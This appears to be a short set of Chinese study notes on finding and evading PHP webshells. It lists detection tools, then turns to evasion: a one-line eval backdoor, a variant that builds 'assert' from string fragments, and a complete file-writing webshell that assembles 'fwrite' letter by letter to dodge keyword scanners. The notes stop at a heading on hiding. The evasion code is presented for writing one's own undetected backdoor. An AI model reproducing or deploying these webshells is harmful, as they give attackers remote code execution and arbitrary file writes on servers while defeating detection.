一、后门查杀
WebShellkiller：https://edr.sangfor.com.cn/#/introduction/all_tools
360安全后门查杀
安全狗
查杀原理：
分析文件中的代码进行划分
后门代码存在相关 关键字高危函数
二、后门免杀
https://xz.aliyun.com/t/5152
PHP一句话后门代码：
<?php eval($_POST['x']); ?>
1、免杀
函数替换
函数字符串猜分组合
<?php
$a='ass';
$b='ert';
$c=$a.$b;
$c($_POST['x']);
?>自定义函数
回调函数
编码绕过
实例：
写一个属于自己的免杀后门（PHP小马；虽然说现在小马用得少了，但与大马思路相同，只是大马代码比较多，很耗时间）
思考：针对其它后门进行免杀处理
1、重新解密分析 - 修改
2、重写规则加密编码
<?php
header("content-Type: text/html; charset=gb2312");
if(get_magic_quotes_gpc()) foreach($_POST as $k=>$v) $_POST[$k] = stripslashes($v);
?>
<form method="POST">
保存文件名: <input type="text" name="file" size="60" value="<? echo str_replace('\\','/',__FILE__) ?>">
<br><br>
<textarea name="text" COLS="70" ROWS="18" ></textarea>
<br><br>
<input type="submit" name="submit" value="保存">
<form>
<?php
$a='f';
$b='e';
$c='t';
$d='r';
$e='i';
$f='x';
$g='w';
$dsb=$a.$g.$d.$e.$c.$b;
$sb='dsb';
/***
echo $dsb;
echo '<hr>';
echo 'fwrite';
echo '<hr>';
echo $$sb;
***/
if(isset($_POST['file']))
{
$fp = fopen($_POST['file'],'wb');
echo $$sb($fp,$_POST['text']) ? '保存成功!' : '保存失败!';
@fclose($fp);
}
?>
2、隐藏
